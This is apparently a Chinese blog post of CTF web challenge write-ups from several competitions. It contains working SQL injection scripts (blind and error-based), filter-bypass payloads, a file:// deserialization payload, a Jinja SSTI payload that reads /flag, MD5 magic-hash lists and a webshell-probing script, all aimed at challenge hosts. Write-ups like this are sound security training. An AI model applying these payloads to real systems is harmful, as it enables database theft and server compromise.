[ACTF2020 新生赛]Upload

注意到鼠标移动到中间就能上传了,再看看这边验证似乎使用的是main.js,前端验证

看看代码

    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
            alert(errMsg);
            return false;
        }
    }

phtml老套路绕过

image.png

那我们传个获取flag的文件上去

image.png

[极客大挑战 2019]BuyFlag

Menu拿到菜单,里面有个Payflag

那么我们可以看下源码,注意到里面有一个关键点

if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}

传一个POST型的404过去,Cookie中的user改成1

image.png

感觉有点奇特,在浏览器看看

然而没看出来,百度wp得知参数叫money。。。

操作一下拿flag

image.png

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

其中useless.php已经存在了,猜测我们需要读取这个php的内容

用了include,猜测可以使用php伪协议。

image.png

还原为源码后,得到以下内容

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

直接反序列化,完事(echo的时候会调用__tostring方法)

那么就本地写个php

image.png
<br>oh u find it </br>

<!--but i cant give it to u now-->

<?php

if(2===3){  
    return ("flag{893bb611-81d7-4664-80ca-aa03d085b71d}");
}

?>

注意这里fileinclude一下useless.php,不然就没有类去让你反序列化了。

[CISCN2019 华北赛区 Day2 Web1]Hack World

可以发现过滤了一些字符,比如/*,空格,--+

然后不会了,看了下wp可以异或+布尔盲注

然后今晚更新了下以前写的布尔盲注的脚本,以后有空再加个二分的功能,总之感觉不错

import sys
import requests
import string
import time

config_html = 'http://f5c6207a-3b86-46f0-b7bf-6317ab65d106.node3.buuoj.cn/index.php'

config_method = 'POST'

config_key = 'id'

config_data = {
    'id' : '{0}'
}

config_length = '0^(char_length({0}){1})'

config_line = '0^({0}{1})'

config_success_flag = 'Hello, glzjin wants a girlfriend.'

config_failed_flag = 'Error Occured When Fetch Result.'

config_retry_time = 0.1

config_headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'DNT':'1',
    'Connection':'close'
}

config_data_range = string.digits + 'abcdeflg' + '{}-'

config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

print(config_data_range)

def get(url,data):
    if config_method == 'GET':
        r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
    else:
        r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    while r.status_code != 200:
        print('[-] Retry to connect...')
        time.sleep(config_retry_time)
        if config_method == 'GET':
            r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
        else:
            r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    r.encoding = 'UTF-8'
    #print(r.text)
    if config_success_flag in r.text:
        return True
    elif config_failed_flag in r.text:
        return False
    else:
        print('Error: method error!')
        return False

def cfg_data(par):
    data = config_data.copy()
    data[config_key] = data[config_key].format(par)
    return data

def concat_line_length(cmd,i):
    return config_length.format(cmd,'>=' + str(i))

def concat_line_value(cmd,ret,i):
    return config_line.format(cmd,'>=' + 'CHAR(' + ','.join(ret) + ',' + str(ord(i)) + ')')

def get_length_line(cmd):
    for i in range(0,255):
        time.sleep(config_retry_time)
        if get(url = config_html,data = cfg_data(concat_line_length(cmd,i))):
            continue
        else:
            print('[+] {0} length: {1}'.format(cmd,i - 1))
            return i - 1
    print('[-] Search Length Failed...')
    return 0

def get_value_line(cmd,length,preline):
    ret = list(preline)
    for l in range(length-len(preline)):
        last = ''
        fg = False
        for i in config_data_range:
            ret2 = []
            for j in ret:
                ret2.append(str(ord(j)))
            time.sleep(config_retry_time)
            if get(url = config_html,data = cfg_data(concat_line_value(cmd,ret2,i))):
                last = i
                continue
            else:
                fg = True
                ret.append(last)
                last = ''
                print('[+] {0} : {1}'.format(cmd,''.join(ret)))
                break
        if fg == False:
            ret.append(config_data_range[-1])
            print('[+] {0} : {1}'.format(cmd,''.join(ret)))
            break
    return ret

def flag(db_column,db_table):
    cmd = "(SELECT({0})FROM({1}))".format(db_column,db_table)
    data_length = get_length_line(cmd)
    #data_length = 42
    return get_value_line(cmd,data_length,'flag{')

flag('flag','flag')
image.png

[BJDCTF2020]Easy MD5

输入一个东西会变成一个passwordGET参数,没看出来啥,先扫一遍目录再说

扫不出来,burp卡一下看看

image.png

好,ffifdyop完事

跳转后看到以下源码

image.png

注意是弱比较,使用一些特殊的MD5即可绕过

比如:

QNKCDZO    0e830400451993494058024219903391
s878926199a    0e545993274517709034328855841020
s155964671a    0e342768416822451524974117254469
s1502113478a    0e861580163291561247404381396064
s214587387a    0e848240448830537924465865611904
s878926199a    0e545993274517709034328855841020
s1091221200a    0e940624217856561557816327384675
s1885207154a    0e509367213418206700842008763514
s1836677006a    0e481036490867661113260034900752
s1184209335a    0e072485820392773389523109082030
s1665632922a    0e731198061491163073197128363787
s532378020a    0e220463095855511507588041205815
240610708    0e462097431906509019562988736854

0e会被当成科学计数法来解析,从而判断相等

然后我们来试试最后一步,得到源码

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 
?>

这把是强判断,不过PHP中MD5函数会在解析错误时返回null,两个null是相等的。

试一下:

image.png
image.png

[网鼎杯 2018]Fakebook

robots.txt泄露了备份文件,从而拿到代码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
    }

}
?>

发现使用curl来进行传输,不过无法得到外网的内容,应该不是用http协议

然后我不会了,查一波题解

好吧,可以用get型注入,确实没看到

试一下,可以用命令时间盲注

2222/**/OR(sleep(1))OR%20%271%27%27%27

再去看看题解,也可以报错注入,毕竟回显了错误信息。

不过经过尝试,也可以用以下命令:

2222/**/OR(sleep(1))%20/*!UNiOn*/%20SelEcT%201,2,3,4%20OR%20%271%27%27%27

但是会触发unserialize的错误,所以暂时不这么操作。

那么我们用extractvalue来获取一下

import requests

config_html = 'http://fe03fad7-a5ad-487d-814d-96caa0befc45.node3.buuoj.cn/view.php'

config_method = 'GET'

config_key = 'no'

config_line = 'extractvalue(1,concat('~',(select(group_concat({0})))))'

config_data = {
    'no' : '{0}'
}

config_cookies = {
    'PHPSESSID':'d6oj11jl7otnel1nr3koa0fpb4'
}

config_retry_time = 0.1

config_headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'DNT':'1',
    'Connection':'close'
}

def preg_text(s):
    return s.split('(XPATH syntax error: '')[1].split('')')[0]

def get(url,data):
    if config_method == 'GET':
        r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
    else:
        r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    while r.status_code != 200:
        print('[-] Retry to connect...')
        time.sleep(config_retry_time)
        if config_method == 'GET':
            r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
        else:
            r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    r.encoding = 'UTF-8'
    try:
        print(preg_text(r.text))
    except IndexError:
        print(r.text)

def cfg_data(par):
    data = config_data.copy()
    data[config_key] = data[config_key].format(par)
    return data

def use_get(cmd):
    get(url = config_html,data = cfg_data(config_line.format(cmd)))
image.png

发现了反序列化,同时是在第四列出现的

那么我们用之前的UNION Payload构造反序列化即可

=2222/*!UNiOn*/SelEcT%20'aaaaa',2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23
image.png
<?php

$flag = "flag{4de3f494-54d1-46d8-94b3-6f13fa0ea7f5}";
exit(0);
?>

[强网杯 2019]高明的黑客

提示了备份文件,我们下载看看

下载完后发现一大堆混淆

认真看其中的一个php文件,你会发现有很多无效代码(比如先给GET赋值为空再evalexec一些不能执行的值等等),猜测flag藏在里面的某个文件里。

shell操作一番

cat *.php | grep "flag"

没有合适的结果,猜测可能要用这堆文件中的某个shell。

脚本硬跑

import sys
import os
import requests
import string
import time
import re

config_html = 'http://4839c2b7-ec12-4663-a3df-6fb4ee94d102.node3.buuoj.cn/'

config_data = dict()

config_retry_time = 0.1

config_headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'DNT':'1',
    'Connection':'close'
}

config_data_range = string.digits + 'abcdeflg' + '{}-'

config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

def get(method,url,data):
    if method == 'GET':
        r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
    else:
        r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    while r.status_code != 200:
        print('[-] Retry to connect...')
        time.sleep(config_retry_time)
        if method == 'GET':
            r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
        else:
            r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    r.encoding = 'UTF-8'
    return r

def cfg_data(d):
    data = config_data.copy()
    for k,v in d:
        data[k] = v
    return data

def get_real_val(line,s):
    sp = re.search('(?<=_{0}[)[S]*(?=])'.format(s),line).span()
    now = line[sp[0]:sp[1]]
    if now[0] == ''' or now[0] == '"':
        now = now[1:-1]
    return now

def search_line(text):
    dc_get = dict()
    dc_post = dict()
    for line in text:
        if '_GET[' in line:
            dc_get[get_real_val(line,'GET')] = 'echo 'last_encore';'
        if '_POST[' in line:
            dc_post[get_real_val(line,'POST')] = 'echo 'last_encore';'
        if '_REQUEST[' in line:
            dc_post[get_real_val(line,'REQUEST')] = 'echo 'last_encore';'
    return dc_get,dc_post

def send_message():
    file_list = os.listdir('./src/')
    for web in file_list:
        io = open('./src/' + web,"r")
        dc_get,dc_post = search_line(io.readlines())
        #print(config_html + web)
        #print(dc_get)
        #ret_get = get('GET',config_html + web,dc_get).text
        #print(ret_get)
        #break
        ret_get = get('GET',config_html + web,dc_get).text
        ret_post = get('POST',config_html + web,dc_post).text
        time.sleep(config_retry_time)
        if 'last_encore' in ret_get or 'last_encore' in ret_post:
            print('[+] {0} OK!'.format(web))
            break
        print('[-] {0} Failed...'.format(web))

send_message()

[极客大挑战 2019]HardSQL

报错注入,有一些过滤

空格过滤用括号绕过

等于号过滤用LIKE绕过

出flag用leftright绕过

拼接flag即可

import requests

config_html = 'http://71c32890-1358-4324-a190-a553b050b827.node3.buuoj.cn/check.php'

config_method = 'GET'

config_key = 'password'

config_line = 'extractvalue(1,concat('~',(select(group_concat({0})))))'

config_data = {
    'username':'Init',
    'password':'new_world'OR({0})#'
}

config_cookies = {
    'PHPSESSID':'Nothing'
}

config_retry_time = 0.1

config_headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'DNT':'1',
    'Connection':'close'
}

def preg_text(s):
    return s.split('XPATH syntax error: '')[1].split(''')[0]

def get(url,data):
    if config_method == 'GET':
        r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
    else:
        r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    while r.status_code != 200:
        print('[-] Retry to connect...')
        time.sleep(config_retry_time)
        if config_method == 'GET':
            r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
        else:
            r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    r.encoding = 'UTF-8'
    try:
        print(preg_text(r.text))
    except IndexError:
        print(r.text)

def cfg_data(par):
    data = config_data.copy()
    data[config_key] = data[config_key].format(par)
    return data

def use_get(cmd):
    get(url = config_html,data = cfg_data(config_line.format(cmd)))
image.png

[BJDCTF 2nd]fake google

进入后看到一个搜索框,随便输点东西就会在新页面显示这个东西。利用script可以实现XSS。

新页面源码提示SSTI,我们可以输入{{}}来观察,发现启动了Internal Server Error。猜测可能是Python后端,用一下Python的SSTI Payload。

{{().__class__.__bases__[0].__subclasses__[75].__init__.__globals__.__builtins__[%27open%27](%27/flag%27).read()}}
image.png

一把成功,还真是这样。。。

[GXYCTF2019]BabySQli

image.png

访问下,貌似有个提示,解密一下

Base32解密第一层,得到

image.png

再Base64解密第二层,得到

select * from user where username = '$name'

也就是说password没啥用,只有username进来了,读取所有的东西

猜测会提取出其中的密码,和md5密码进行比较,而PHP的MD5函数存在漏洞,试一把

image.png

果然和我想法一样,但是应该不是数组的绕过方式,思考一下有没有别的解决方法

换个套路,使原来的用户不存在,重新SELECT一个新的用户和密码MD5,输入一个密码等于MD5(随便算的)

image.png
It is my final heart.
最后更新于 2022-07-24